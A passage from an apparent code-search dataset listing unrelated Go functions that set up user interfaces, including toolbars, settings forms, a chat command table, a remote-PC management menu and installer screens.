height)\n\n\tvp := win.WinViewport2D()\n\tupdt := vp.UpdateStart()\n\n\tmfr := win.SetMainFrame()\n\n\ttbar := gi.AddNewToolBar(mfr, \"tbar\")\n\ttbar.SetStretchMaxWidth()\n\t// vi.ToolBar = tbar\n\n\tsplit := gi.AddNewSplitView(mfr, \"split\")\n\tsplit.Dim = gi.X\n\tsplit.SetStretchMaxWidth()\n\tsplit.SetStretchMaxHeight()\n\n\tsv := giv.AddNewStructView(split, \"sv\")\n\tsv.SetStruct(gn)\n\tgn.StructView = sv\n\n\ttbar.AddAction(gi.ActOpts{Label: \"Gen TriSyllable Strings\", Icon: \"new\", Tooltip: \"Generate all combinations of tri syllabic strings from the sets of syllables for each position\"}, win.This(),\n\t\tfunc(recv, send ki.Ki, sig int64, data interface{}) {\n\t\t\tgn.GenTriSyllables()\n\t\t})\n\n\ttbar.AddAction(gi.ActOpts{Label: \"Write TriSyls Strings\", Icon: \"new\", Tooltip: \"\"}, win.This(),\n\t\tfunc(recv, send ki.Ki, sig int64, data interface{}) {\n\t\t\tgn.WriteTriSyllables()\n\t\t})\n\n\ttbar.AddAction(gi.ActOpts{Label: \"Shuffle CVs\", Icon: \"new\", Tooltip: \"Shuffle the syllables and add this shuffle to the list of shuffles\"}, win.This(),\n\t\tfunc(recv, send ki.Ki, sig int64, data interface{}) {\n\t\t\tgn.ShuffleCVs()\n\t\t})\n\n\ttbar.AddAction(gi.ActOpts{Label: \"Write Shuffled CVs\", Icon: \"new\", Tooltip: \"WriteShuffles writes an individual file for each of the shuffled CV lists generated\\n// and also writes a file called \\\"ls\\\" that is a list of the files written!\"}, win.This(),\n\t\tfunc(recv, send ki.Ki, sig int64, data interface{}) {\n\t\t\tgn.WriteShuffles()\n\t\t})\n\n\ttbar.AddAction(gi.ActOpts{Label: \"Gen Speech\", Icon: \"new\", Tooltip: \"Calls GnuSpeech on content of files\\n// and also writes a file called \\\"ls\\\" that is a list of the files written!\"}, win.This(),\n\t\tfunc(recv, send ki.Ki, sig int64, data interface{}) {\n\t\t\tgn.GenSpeech(gn.ShufflesIn, gn.ShufflesOut)\n\t\t})\n\n\ttbar.AddAction(gi.ActOpts{Label: \"Rename Individual CVs\", Icon: \"new\", Tooltip: \"Must run this after splitting shuffle files into individual CVs before concatenating!\"}, win.This(),\n\t\tfunc(recv, send ki.Ki, sig int64, data interface{}) {\n\t\t\tgn.Rename()\n\t\t})\n\n\ttbar.AddAction(gi.ActOpts{Label: \"Gen Whole Word Wavs\", Icon: \"new\", Tooltip: \"Generates wav files of 3 CVs where the second and third are fully predictable based on first CV\"}, win.This(),\n\t\tfunc(recv, send ki.Ki, sig int64, data interface{}) {\n\t\t\tgn.GenWholeWordWavs()\n\t\t})\n\n\ttbar.AddAction(gi.ActOpts{Label: \"Gen Part Word Wavs\", Icon: \"new\", Tooltip: \"Generates wav files of 3 CVs, the second CV is of a set (so partially predictable), the third CV is predictable based on second\"}, win.This(),\n\t\tfunc(recv, send ki.Ki, sig int64, data interface{}) {\n\t\t\tgn.GenPartWordWavs()\n\t\t})\n\n\ttbar.AddAction(gi.ActOpts{Label: \"Wav sequence from tri wavs\", Icon: \"new\", Tooltip: \"Write wav file that is the concatenation of wav files of tri CVs\"}, win.This(),\n\t\tfunc(recv, send ki.Ki, sig int64, data interface{}) {\n\t\t\tgn.SequenceFromTriCVs()\n\t\t})\n\n\tvp.UpdateEndNoSig(updt)\n\n\t// main menu\n\tappnm := gi.AppName()\n\tmmen := win.MainMenu\n\tmmen.ConfigMenus([]string{appnm, \"File\", \"Edit\", \"Window\"})\n\n\tamen := win.MainMenu.ChildByName(appnm, 0).(*gi.Action)\n\tamen.Menu.AddAppMenu(win)\n\n\temen := win.MainMenu.ChildByName(\"Edit\", 1).(*gi.Action)\n\temen.Menu.AddCopyCutPaste(win)\n\n\tvp.UpdateEndNoSig(updt)\n\n\twin.MainMenuUpdated()\n\treturn win\n}", "func (s *User) SettingsUI(title string, editors []string) {\n\tapp := tview.NewApplication()\n\n\tform := tview.NewForm().\n\t\tAddCheckbox(\"Update on starting katbox\", s.AutoUpdate, nil).\n\t\tAddDropDown(\"Editor\", editors, 0, nil).\n\t\tAddInputField(\"(optional) Custom editor Path\", s.Editor, 30, nil, nil).\n\t\tAddInputField(\"Git clone path\", s.GitPath, 30, nil, nil).\n\t\tAddCheckbox(\"Open URLs in Browser\", s.OpenURL, nil).\n\t\tAddButton(\"Save Settings\", func() { app.Stop() })\n\n\tform.SetBorder(true).SetTitle(title).SetTitleAlign(tview.AlignLeft)\n\tif err := app.SetRoot(form, true).Run(); err != nil {\n\t\tpanic(err)\n\t}\n\n\t// Retrieve values and update settings\n\n\t_, s.Editor = form.GetFormItemByLabel(\"Editor\").(*tview.DropDown).GetCurrentOption()\n\t// If a custom editor has been selected then set the value from the custom Editor field\n\tif s.Editor == \"Custom\" {\n\t\ts.CustomEditor = form.GetFormItemByLabel(\"Editor Path\").(*tview.InputField).GetText()\n\t}\n\n\t// TODO - do a OS/Editor lookup and set the path accordingly\n\n\ts.OpenURL = form.GetFormItemByLabel(\"Open URLs in Browser\").(*tview.Checkbox).IsChecked()\n}", "func (ui *ReplApp) setupCommands() {\n\tui.commands = commanddefs{\n\t\t\"help\": {\n\t\t\tcmd: \"help\",\n\t\t\thelptext: \"show information about commands\",\n\t\t},\n\n\t\t\"exit\": {\n\t\t\tcmd: \"exit\",\n\t\t\thelptext: \"exit the chat client\",\n\t\t},\n\n\t\t\"ip\": {\n\t\t\tcmd: \"ip\",\n\t\t\thelptext: \"display your current external IP and port chat client is using\",\n\t\t},\n\n\t\t\"me\": {\n\t\t\tcmd: \"me\",\n\t\t\thelptext: \"view and change user profile\",\n\t\t\tdefaultSub: \"show\",\n\t\t\tsubcmds: commanddefs{\n\t\t\t\t\"show\": {\n\t\t\t\t\tcmd: \"show\",\n\t\t\t\t\thelptext: \"display user information\",\n\t\t\t\t},\n\t\t\t\t\"edit\": {\n\t\t\t\t\tcmd: \"edit\",\n\t\t\t\t\thelptext: \"modify user information\",\n\t\t\t\t\targs: []argdef{\n\t\t\t\t\t\t{\"PROFILE\", re(profile)},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\n\t\t\"contacts\": {\n\t\t\tcmd: \"contacts\",\n\t\t\thelptext: \"manage contacts\",\n\t\t\tdefaultSub: \"list\",\n\t\t\tsubcmds: commanddefs{\n\t\t\t\t\"list\": {\n\t\t\t\t\tcmd: \"list\",\n\t\t\t\t\thelptext: \"list all contacts\",\n\t\t\t\t\tdefaultSub: \"all\",\n\t\t\t\t},\n\t\t\t\t\"add\": {\n\t\t\t\t\tcmd: \"add\",\n\t\t\t\t\thelptext: \"add a new contact from an existing session or profile\",\n\t\t\t\t\targs: []argdef{\n\t\t\t\t\t\t{\"PROFILE\", re(profile)},\n\t\t\t\t\t\t{\"SESSION_NUMBER\", re(integer)},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t\"delete\": {\n\t\t\t\t\tcmd: \"delete\",\n\t\t\t\t\thelptext: \"delete a contacts\",\n\t\t\t\t\targs: []argdef{\n\t\t\t\t\t\t{\"CONTACT_NUMBER\", re(integer)},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\n\t\t\"requests\": {\n\t\t\tcmd: \"requests\",\n\t\t\thelptext: \"manage requests for chat\",\n\t\t\tdefaultSub: \"list\",\n\t\t\tsubcmds: commanddefs{\n\t\t\t\t\"list\": {\n\t\t\t\t\tcmd: \"list\",\n\t\t\t\t\thelptext: \"display waiting requests\",\n\t\t\t\t},\n\t\t\t\t\"accept\": {\n\t\t\t\t\tcmd: \"accept\",\n\t\t\t\t\thelptext: \"accept chat request and begin a session\",\n\t\t\t\t\targs: []argdef{\n\t\t\t\t\t\t{\"REQUEST_NUMBER\", re(integer)},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t\"reject\": {\n\t\t\t\t\tcmd: \"reject\",\n\t\t\t\t\thelptext: \"refuse a chat request\",\n\t\t\t\t\targs: []argdef{\n\t\t\t\t\t\t{\"REQUEST_NUMBER\", re(integer)},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\n\t\t\"sessions\": {\n\t\t\tcmd: \"sessions\",\n\t\t\thelptext: \"manage chat sessions\",\n\t\t\tdefaultSub: \"list\",\n\t\t\tsubcmds: commanddefs{\n\t\t\t\t\"list\": {\n\t\t\t\t\tcmd: \"list\",\n\t\t\t\t\thelptext: \"display all pending and active sessions\",\n\t\t\t\t},\n\t\t\t\t\"start\": {\n\t\t\t\t\tcmd: \"start\",\n\t\t\t\t\thelptext: \"ping another user to a session\",\n\t\t\t\t\targs: []argdef{\n\t\t\t\t\t\t{\"CONTACT_NUMBER\", re(integer)},\n\t\t\t\t\t\t{\"PROFILE\", re(profile)},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t\"drop\": {\n\t\t\t\t\tcmd: \"drop\",\n\t\t\t\t\thelptext: \"end a session\",\n\t\t\t\t\targs: []argdef{\n\t\t\t\t\t\t{\"SESSION_NUMBER\", re(integer)},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\n\t\t\"msg\": {\n\t\t\tcmd: \"msg\",\n\t\t\thelptext: \"sends a message\",\n\t\t\targs: []argdef{\n\t\t\t\t{\"SESSION_NUMBER MESSAGE\", re(integer, rest)},\n\t\t\t},\n\t\t},\n\n\t\t\"show\": {\n\t\t\tcmd: \"show\",\n\t\t\thelptext: \"show last few messages for a particular session\",\n\t\t\targs: []argdef{\n\t\t\t\t{\"SESSION_NUMBER\", re(integer)},\n\t\t\t},\n\t\t},\n\t}\n}", "func mainmenu() {\n\tvar selection string\n\tfmt.Println(`\n ___ ___ _ _ _____ _ _ __ __ _ _ ____ ___ \n/ __)/ __)( )_( )( _ )( \\/\\/ ) ( \\/ )( \\/ ) ( _ \\ / __)\n\\__ \\\\__ \\ ) _ ( )(_)( ) ( ) ( \\ / )___/( (__ \n(___/(___/(_) (_)(_____)(__/\\__) (_/\\/\\_) (__) (__) \\___)`)\n\n\t// fmt.Println(\"Welcome to the Remote PC Manager\")\n\tfmt.Println(\"\")\n\tfmt.Println(\"Main Menu\")\n\tfmt.Println(\"Press 1 to view all files\")\n\tfmt.Println(\"Press 2 to view disk space\")\n\tfmt.Println(\"Press 3 to create a file\")\n\tfmt.Println(\"Press 4 to delete a file\")\n\tfmt.Println(\"Press 5 to view running processes\")\n\tfmt.Println(\"Press 6 to kill running processes\")\n\tfmt.Println(\"Press 7 to view system info\")\n\tfmt.Println(\"Press 8 to search for an app\")\n\tfmt.Println(\"Press 9 to install an app\")\n\tfmt.Scan(&selection)\n\n\tswitch selection {\n\tcase \"1\":\n\t\tview()\n\n\tcase \"2\":\n\t\tdiskspace()\n\n\tcase \"3\":\n\t\tcreate()\n\n\tcase \"4\":\n\t\tdelete()\n\n\tcase \"5\":\n\t\tlistprocesses()\n\n\tcase \"6\":\n\t\tkillprocess()\n\n\tcase \"7\":\n\t\tsysinfo()\n\n\tcase \"8\":\n\t\tsearch()\n\tcase \"9\":\n\t\tinstall()\n\tdefault:\n\t\tvar errorhandle string\n\t\tfmt.Println(\"\")\n\t\tfmt.Println(\"Invalid Option\")\n\t\tfmt.Println(\"Press any key to continue\")\n\t\tfmt.Scan(&errorhandle)\n\t\tmainmenu()\n\t}\n\n}", "func UI(redraw func()) *tview.Form {\n\tredrawParent = redraw\n\tcommand = settings.Get(settings.SetConfig, settings.KeyOmxplayerCommand).(string)\n\n\tuiForm = tview.NewForm().\n\t\tAddInputField(\"omxmplayer command\", command, 40, nil, handleCommandChange).\n\t\tAddButton(\"Save\", handlePressSave).\n\t\tAddButton(\"Cancel\", handlePressCancel)\n\n\tuiForm.SetFieldBackgroundColor(tcell.ColorGold).SetFieldTextColor(tcell.ColorBlack)\n\tuiForm.SetBorder(true).SetTitle(\"Settings\")\n\n\treturn uiForm\n}", "func (scene *GameScene) makeInitialUI() {\n\tgray := color.RGBA{R: 97, G: 98, B: 109, A: 255}\n\n\trWidth := scene.Sys.Renderer.Window.Width\n\trHeight := scene.Sys.Renderer.Window.Height\n\n\tscene.makeMainPanel()\n\tscene.makeToggleButton()\n\tscene.makeToggleLabel()\n\tscene.makeShopPanel()\n\tscene.balanceLabel = scene.Add.Label(\"Balance: 0 Cubes\", rWidth/2+40, rHeight/2+85, 24, \"\", gray)\n\tscene.makeClickButton()\n}", "func InitUI() UI {\n\tUI76 := UI{}\n\tUI76.allowInterface = true\n\tUI76.mousePressed = false\n\tUI76.panels = append(UI76.panels, MenuMainMenu, MenuLanded, MenuFlying, MenuMap, MenuEvent)\n\tInitMenuMainMenu()\n\tInitMenuLanded()\n\tInitMenuFlying()\n\tInitMenuShop()\n\tInitMenuMap()\n\tInitMenuEvent()\n\tUI76.currentPanel = MenuMainMenu\n\tUI76.prevPanel = MenuMainMenu\n\t// Fonts\n\ttt, err := truetype.Parse(fonts.MPlus1pRegular_ttf)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tfont76 = truetype.NewFace(tt, &truetype.Options{\n\t\tSize: 8,\n\t\tDPI: 96,\n\t\tHinting: font.HintingFull,\n\t})\n\treturn UI76\n}", "func (i *Installation) installGPCCUI(args []string) error {\n\tinstallGPCCWebFile := Config.CORE.TEMPDIR + \"install_web_ui.sh\"\n\toptions := []string{\n\t\t\"source \" + i.EnvFile,\n\t\t\"source \" + i.GPCC.GpPerfmonHome + \"/gpcc_path.sh\",\n\t\t\"echo\",\n\t\t\"gpcmdr --setup << EOF\",\n\t}\n\tfor _, arg := range args {\n\t\toptions = append(options, arg)\n\t}\n\toptions = append(options, \"echo\")\n\tgenerateBashFileAndExecuteTheBashFile(installGPCCWebFile, \"/bin/sh\", options)\n\n\treturn nil\n}", "func OptUI(fs http.FileSystem) Opt {\n\treturn func(app *App) {\n\t\tapp.ui = fs\n\t}\n}", "func preKubectlCmdInit() func() {\n\tpflag.CommandLine.SetNormalizeFunc(cliflag.WordSepNormalizeFunc)\n\tpflag.CommandLine.AddGoFlagSet(goflag.CommandLine)\n\tlogs.InitLogs()\n\treturn func() {\n\t\tlogs.FlushLogs()\n\t}\n}", "func (s *Slacker) SetupUI() error {\n\n\t// black toolbars are cool.\n\ttb := widgets.NewToolBar(\"toolbar\", &color.RGBA{0, 0, 0, 0xff})\n\tquitButton := widgets.NewToolbarItem(\"quitTBI\", s.QuitSlacker)\n\ttb.AddToolBarItem(quitButton)\n\ttb.SetSize(800, 30)\n\n\t// Main VPanel of the app. Will have 2 entries in it. The first is the top level toolbar\n\t// secondly will be a HPanel to have contacts and messages.\n\tvpanel := widgets.NewVPanelWithSize(\"main-vpanel\", 800, 600, &color.RGBA{0, 0, 0, 0xff})\n\tvpanel.AddWidget(tb)\n\ts.window.AddPanel(vpanel)\n\n\t// main Horizontal panel... first element is channels + people\n\t// second element is actual chat.\n\tmainHPanel := widgets.NewHPanel(\"hpanel1\", &color.RGBA{0, 100, 0, 255})\n\n\t// 2 main sections added to mainHPanel\n\t// contactsVPanel goes down complete left side, 100 width, 600-30 (toolbar) in height\n\ts.contactsChannelsVPanel = widgets.NewVPanelWithSize(\"contactsVPanel\", 150, 570, &color.RGBA{0, 0, 100, 0xff})\n\n\t// In messagesTypingVPanel we will have 2 vpanels.\n\tmessagesTypingVPanel := widgets.NewVPanelWithSize(\"messagesTypingVPanel\", 650, 570, &color.RGBA{0, 50, 50, 0xff})\n\n\t// The first for messages the second for typing widget.\n\ts.messagesVPanel = widgets.NewVPanelWithSize(\"messagesVPanel\", 650, 540, &color.RGBA{10, 50, 50, 0xff})\n\ttypingVPanel := widgets.NewVPanelWithSize(\"typingVPanel\", 650, 30, &color.RGBA{50, 50, 50, 0xff})\n\tmessagesTypingVPanel.AddWidget(s.messagesVPanel)\n\tmessagesTypingVPanel.AddWidget(typingVPanel)\n\n\tmainHPanel.AddWidget(s.contactsChannelsVPanel)\n\tmainHPanel.AddWidget(messagesTypingVPanel)\n\n\t// now add mainHPanel to VPanel.\n\tvpanel.AddWidget(mainHPanel)\n\n\treturn nil\n}", "func NewUI(config UIConfig, in io.Reader, out, err io.Writer) UI {\n\tminimalUI := config.DisableColors\n\tif config.OutputFormat == OutputFormatJSON {\n\t\tminimalUI = true\n\t}\n\tcolor.NoColor = minimalUI\n\n\treturn &ui{\n\t\tconfig,\n\t\tminimalUI,\n\t\tfdReader{in},\n\t\tfdWriter{out},\n\t\terr,\n\t}\n}", "func Initialize(uiURL, confDefaultOS, confDefaultArch string) {\n\tbaseUIURL = uiURL\n\tdefaultOS = confDefaultOS\n\tdefaultArch = confDefaultArch\n}", "func windowsShowSettingsUI(_ *cagent.Cagent, _ bool) {\n\n}", "func (local *LocalConfig) PromptUserForConfig() error {\n\tc := LocalConfig{spec: local.spec}\n\n\t// Prompt for the state labels.\n\tif err := prompt.Dialog(&c, \"Insert the\"); err != nil {\n\t\treturn err\n\t}\n\n\t// Prompt for the story labels.\n\tstoryLabels, err := promptForLabelList(\"Insert the story labels\", DefaultStoryLabels, nil)\n\tfmt.Println()\n\tif err != nil {\n\t\treturn err\n\t}\n\tc.StoryLabels = storyLabels\n\n\t// Prompt for the release skip check labels.\n\tskipCheckLabels, err := promptForLabelList(\n\t\t\"Insert the skip release check labels\", nil, ImplicitSkipCheckLabels)\n\tif err != nil {\n\t\treturn err\n\t}\n\tc.SkipCheckLabels = skipCheckLabels\n\n\t// Success!\n\t*local = c\n\treturn nil\n}", "func (bp *BasicPrompt) Init() error {\n\tbp.c = &readline.Config{}\n\n\terr := bp.c.Init()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif bp.stdin != nil {\n\t\tbp.c.Stdin = ioutil.NopCloser(bp.stdin)\n\t}\n\n\tif bp.stdout != nil {\n\t\tbp.c.Stdout = bp.stdout\n\t}\n\n\tif bp.IsVimMode {\n\t\tbp.c.VimMode = true\n\t}\n\n\tif bp.Preamble != nil {\n\t\tfmt.Println(*bp.Preamble)\n\t}\n\n\tif bp.IconInitial == \"\" && !bp.NoIcons {\n\t\tbp.IconInitial = bold(IconInitial)\n\t}\n\tif bp.IconGood == \"\" && !bp.NoIcons {\n\t\tbp.IconGood = bold(IconGood)\n\t}\n\tif bp.IconQuest == \"\" && !bp.NoIcons {\n\t\tbp.IconQuest = bold(IconQuest)\n\t}\n\tif bp.IconWarn == \"\" && !bp.NoIcons {\n\t\tbp.IconWarn = bold(IconWarn)\n\t}\n\tif bp.IconBad == \"\" && !bp.NoIcons {\n\t\tbp.IconBad = bold(IconBad)\n\t}\n\tif bp.LabelInitial == nil {\n\t\tbp.LabelInitial = func(s string) string { return s }\n\t}\n\tif bp.LabelResult == nil {\n\t\tbp.LabelResult = func(s string) string { return s }\n\t}\n\tif bp.PromptInitial == nil {\n\t\tbp.PromptInitial = func(s string) string { return bold(s) }\n\t}\n\tif bp.PromptResult == nil {\n\t\tbp.PromptResult = func(s string) string { return s }\n\t}\n\tif bp.InputInitial == nil {\n\t\tbp.InputInitial = func(s string) string { return s }\n\t}\n\tif bp.InputResult == nil {\n\t\tbp.InputResult = func(s string) string { return faint(s) }\n\t}\n\tif bp.Formatter == nil {\n\t\tbp.Formatter = func(s string) string { return s }\n\t}\n\tbp.c.Painter = &defaultPainter{style: bp.InputInitial}\n\n\tbp.suggestedAnswer = \"\"\n\tbp.punctuation = \":\"\n\tbp.c.UniqueEditLine = true\n\n\tbp.state = bp.IconInitial\n\tbp.prompt = bp.LabelInitial(bp.Label) + bp.punctuation + bp.suggestedAnswer + \" \"\n\n\tbp.c.Prompt = bp.Indent + bp.state + \" \" + bp.PromptInitial(bp.prompt)\n\tbp.c.HistoryLimit = -1\n\n\tbp.c.InterruptPrompt = bp.InterruptPrompt\n\n\tbp.validFn = func(x string) error {\n\t\treturn nil\n\t}\n\n\tif bp.Validate != nil {\n\t\tbp.validFn = bp.Validate\n\t}\n\n\treturn nil\n}", "func (page *allProcPage) init() {\n\tpage.ProcTable.Header = []string{\n\t\t\"PID\",\n\t\t\"Command\",\n\t\t\"CPU\",\n\t\t\"Memory\",\n\t\t\"Status\",\n\t\t\"Foreground\",\n\t\t\"Creation Time\",\n\t\t\"Thread Count\",\n\t}\n\tpage.ProcTable.ColWidths = []int{10, 40, 10, 10, 8, 12, 25, 15}\n\tpage.ProcTable.ColResizer = func() {\n\t\tx := page.ProcTable.Inner.Dx() - (10 + 10 + 10 + 8 + 12 + 25 + 15)\n\t\tpage.ProcTable.ColWidths = []int{\n\t\t\t10,\n\t\t\tui.MaxInt(40, x),\n\t\t\t10,\n\t\t\t10,\n\t\t\t8,\n\t\t\t12,\n\t\t\t25,\n\t\t\t15,\n\t\t}\n\t}\n\tpage.ProcTable.ShowCursor = true\n\tpage.ProcTable.RowStyle = ui.NewStyle(ui.ColorClear)\n\tpage.ProcTable.ColColor[1] = ui.ColorGreen\n\tpage.ProcTable.DefaultBorderColor = ui.ColorCyan\n\tpage.ProcTable.ActiveBorderColor = ui.ColorCyan\n\tpage.Grid.Set(\n\t\tui.NewRow(1.0, page.ProcTable),\n\t)\n\n\tw, h := ui.TerminalDimensions()\n\tpage.Grid.SetRect(0, 0, w, h)\n}", "func ConfigShow() error {\n\n\tfmt.Printf(\"\\nCurrently saved values:\\n\")\n\n\tif Config.Secure {\n\t\tfmt.Printf(\" -https\\n\")\n\t} else {\n\t\tfmt.Printf(\" -http\\n\")\n\t}\n\n\tif Config.Hub != \"\" && Config.Hub != notehub.DefaultAPIService {\n\t\tfmt.Printf(\" -hub %s\\n\", Config.Hub)\n\t}\n\tif Config.App != \"\" {\n\t\tfmt.Printf(\" -app %s\\n\", Config.App)\n\t}\n\tif Config.Product != \"\" {\n\t\tfmt.Printf(\" -product %s\\n\", Config.Product)\n\t}\n\tif Config.Device != \"\" {\n\t\tfmt.Printf(\" -device %s\\n\", Config.Device)\n\t}\n\tif Config.Root != \"\" {\n\t\tfmt.Printf(\" -root %s\\n\", Config.Root)\n\t}\n\tif Config.Cert != \"\" {\n\t\tfmt.Printf(\" -cert %s\\n\", Config.Cert)\n\t}\n\tif Config.Key != \"\" {\n\t\tfmt.Printf(\" -key %s\\n\", Config.Key)\n\t}\n\tif Config.Interface != \"\" {\n\t\tfmt.Printf(\" -interface %s\\n\", Config.Interface)\n\t\tif Config.Port == \"\" {\n\t\t\tfmt.Printf(\" -port -\\n\")\n\t\t\tfmt.Printf(\" -portconfig -\\n\")\n\t\t} else {\n\t\t\tfmt.Printf(\" -port %s\\n\", Config.Port)\n\t\t\tfmt.Printf(\" -portconfig %d\\n\", Config.PortConfig)\n\t\t}\n\t}\n\n\treturn nil\n\n}", "func ScreenInstall(window fyne.Window) fyne.CanvasObject {\n\tvar namespace string\n\tvar deploymentName string\n\tvar installTypeOption string\n\tvar dryRunOption string\n\tvar secretsFile string\n\tvar secretsPasswords string\n\n\t// Entries\n\tnamespaceSelectEntry = uielements.CreateNamespaceSelectEntry(namespaceErrorLabel)\n\tvar secretsFileSelect = uielements.CreateSecretsFileEntry()\n\tvar deploymentNameEntry = uielements.CreateDeploymentNameEntry()\n\tvar installTypeRadio = uielements.CreateInstallTypeRadio()\n\tvar dryRunRadio = uielements.CreateDryRunRadio()\n\tvar secretsPasswordEntry = widget.NewPasswordEntry()\n\n\tvar form = &widget.Form{\n\t\tItems: []*widget.FormItem{\n\t\t\t{Text: \"Namespace\", Widget: namespaceSelectEntry},\n\t\t\t{Text: \"Secrets file\", Widget: secretsFileSelect},\n\t\t\t{Text: \"\", Widget: namespaceErrorLabel},\n\t\t\t{Text: \"Deployment Name\", Widget: deploymentNameEntry},\n\t\t\t{Text: \"Installation type\", Widget: installTypeRadio},\n\t\t\t{Text: \"Execute or dry run\", Widget: dryRunRadio},\n\t\t},\n\t\tOnSubmit: func() {\n\t\t\t// get variables\n\t\t\tsecretsFile = secretsFileSelect.Selected\n\t\t\tnamespace = namespaceSelectEntry.Text\n\t\t\tdeploymentName = deploymentNameEntry.Text\n\t\t\tinstallTypeOption = installTypeRadio.Selected\n\t\t\tdryRunOption = dryRunRadio.Selected\n\t\t\tif dryRunOption == constants.InstallDryRunActive {\n\t\t\t\tconfiguration.GetConfiguration().SetDryRun(true)\n\t\t\t} else {\n\t\t\t\tconfiguration.GetConfiguration().SetDryRun(false)\n\t\t\t}\n\t\t\tif !validator.ValidateNamespaceAvailableInConfig(namespace) {\n\t\t\t\tnamespaceErrorLabel.SetText(\"Error: namespace is unknown!\")\n\t\t\t\tnamespaceErrorLabel.Show()\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\t// map state\n\t\t\tvar projectConfig = install.NewInstallProjectConfig()\n\t\t\tvar err = projectConfig.LoadProjectConfigIfExists(namespace)\n\t\t\tif err != nil {\n\t\t\t\tdialog.ShowError(err, window)\n\t\t\t}\n\t\t\tprojectConfig.Project.Base.DeploymentName = deploymentName\n\t\t\tprojectConfig.HelmCommand = installTypeOption\n\t\t\tprojectConfig.SecretsPassword = &secretsPasswords\n\t\t\tprojectConfig.SecretsFileName = secretsFile\n\n\t\t\t// ask for password\n\t\t\tif dryRunOption == constants.InstallDryRunInactive {\n\t\t\t\topenSecretsPasswordDialog(window, secretsPasswordEntry, projectConfig)\n\t\t\t} else {\n\t\t\t\t_ = ExecuteInstallWorkflow(window, projectConfig)\n\t\t\t\t// show output\n\t\t\t\tuielements.ShowLogOutput(window)\n\t\t\t}\n\t\t},\n\t}\n\n\treturn container.NewVBox(\n\t\twidget.NewLabel(\"\"),\n\t\tform,\n\t)\n}", "func Cli(wg *sync.WaitGroup, c chan int) {\r\n\tdefer wg.Done()\r\n\tdone := make(chan string)\r\n\tvar ui tui.UI\r\n\tcommands := []string{\"help\", \"all2all\", \"gossip\", \"leave\", \"join\", \"id\", \"list\", \"para\",\"kill\"}\r\n\r\n\t//set up gui\r\n\t// set shell history\r\n\thistory := tui.NewVBox()\r\n\thistory.Append(tui.NewHBox(\r\n\t\ttui.NewLabel(time.Now().Format(\"15:04\")),\r\n\t\ttui.NewPadder(1, 0, tui.NewLabel(\"\")),\r\n\t\ttui.NewLabel(getHelp()),\r\n\t\ttui.NewSpacer(),\r\n\t))\r\n\r\n\thistoryScroll := tui.NewScrollArea(history)\r\n\thistoryScroll.SetAutoscrollToBottom(true)\r\n\r\n\thistoryBox := tui.NewVBox(historyScroll)\r\n\thistoryBox.SetBorder(true)\r\n\r\n\t// shell input\r\n\t// NewEntry is a oneline input\r\n\tinput := tui.NewEntry()\r\n\tinput.SetFocused(true)\r\n\tinput.SetText(\">>\")\r\n\tinput.SetSizePolicy(tui.Expanding, tui.Maximum)\r\n\r\n\tinputBox := tui.NewHBox(input)\r\n\tinputBox.SetBorder(true)\r\n\tinputBox.SetSizePolicy(tui.Expanding, tui.Maximum)\r\n\r\n\t// combine history and input to get shell\r\n\tshell := tui.NewVBox(historyBox, inputBox)\r\n\tshell.SetSizePolicy(tui.Expanding, tui.Expanding)\r\n\r\n\t// shell logic\r\n\tinput.OnSubmit(func(e *tui.Entry) {\r\n\r\n\t\tcmd := e.Text()[2:]\r\n\t\thistory.Append(tui.NewHBox(\r\n\t\t\ttui.NewLabel(time.Now().Format(\"15:04\")),\r\n\t\t\ttui.NewPadder(1, 0, tui.NewLabel(\"\")),\r\n\t\t\ttui.NewLabel(cmd),\r\n\t\t\ttui.NewSpacer(),\r\n\t\t))\r\n\t\tinput.SetText(\">>\")\r\n\t\twrongCommand := true\r\n\t\tfor i := 0; i < len(commands); i++ {\r\n\t\t\tif commands[i] == cmd {\r\n\t\t\t\twrongCommand = false\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tif cmd == \"help\" || wrongCommand == true {\r\n\t\t\thistory.Append(tui.NewHBox(\r\n\t\t\t\ttui.NewLabel(time.Now().Format(\"15:04\")),\r\n\t\t\t\ttui.NewPadder(1, 0, tui.NewLabel(\"\")),\r\n\t\t\t\ttui.NewLabel(getHelp()),\r\n\t\t\t\ttui.NewSpacer(),\r\n\t\t\t))\r\n\t\t} else {\r\n\t\t\tswitch cmd {\r\n\t\t\tcase \"all2all\":\r\n\t\t\t\thistory.Append(tui.NewHBox(\r\n\t\t\t\t\ttui.NewLabel(time.Now().Format(\"15:04\")),\r\n\t\t\t\t\ttui.NewPadder(1, 0, tui.NewLabel(\"\")),\r\n\t\t\t\t\ttui.NewLabel(\"change system to all to all mode\"),\r\n\t\t\t\t\ttui.NewSpacer(),\r\n\t\t\t\t))\r\n\t\t\t\tc <- CHANGE_TO_ALL2ALL\r\n\t\t\tcase \"gossip\":\r\n\t\t\t\thistory.Append(tui.NewHBox(\r\n\t\t\t\t\ttui.NewLabel(time.Now().Format(\"15:04\")),\r\n\t\t\t\t\ttui.NewPadder(1, 0, tui.NewLabel(\"\")),\r\n\t\t\t\t\ttui.NewLabel(\"change system to gossip mode\"),\r\n\t\t\t\t\ttui.NewSpacer(),\r\n\t\t\t\t))\r\n\t\t\t\tc <- CHANGE_TO_GOSSIP\r\n\t\t\tcase \"leave\":\r\n\t\t\t\thistory.Append(tui.NewHBox(\r\n\t\t\t\t\ttui.NewLabel(time.Now().Format(\"15:04\")),\r\n\t\t\t\t\ttui.NewPadder(1, 0, tui.NewLabel(\"\")),\r\n\t\t\t\t\ttui.NewLabel(\"leave group\"),\r\n\t\t\t\t\ttui.NewSpacer(),\r\n\t\t\t\t))\r\n\t\t\t\tc <- LEAVE_GROUP\r\n\t\t\tcase \"join\":\r\n\t\t\t\thistory.Append(tui.NewHBox(\r\n\t\t\t\t\ttui.NewLabel(time.Now().Format(\"15:04\")),\r\n\t\t\t\t\ttui.NewPadder(1, 0, 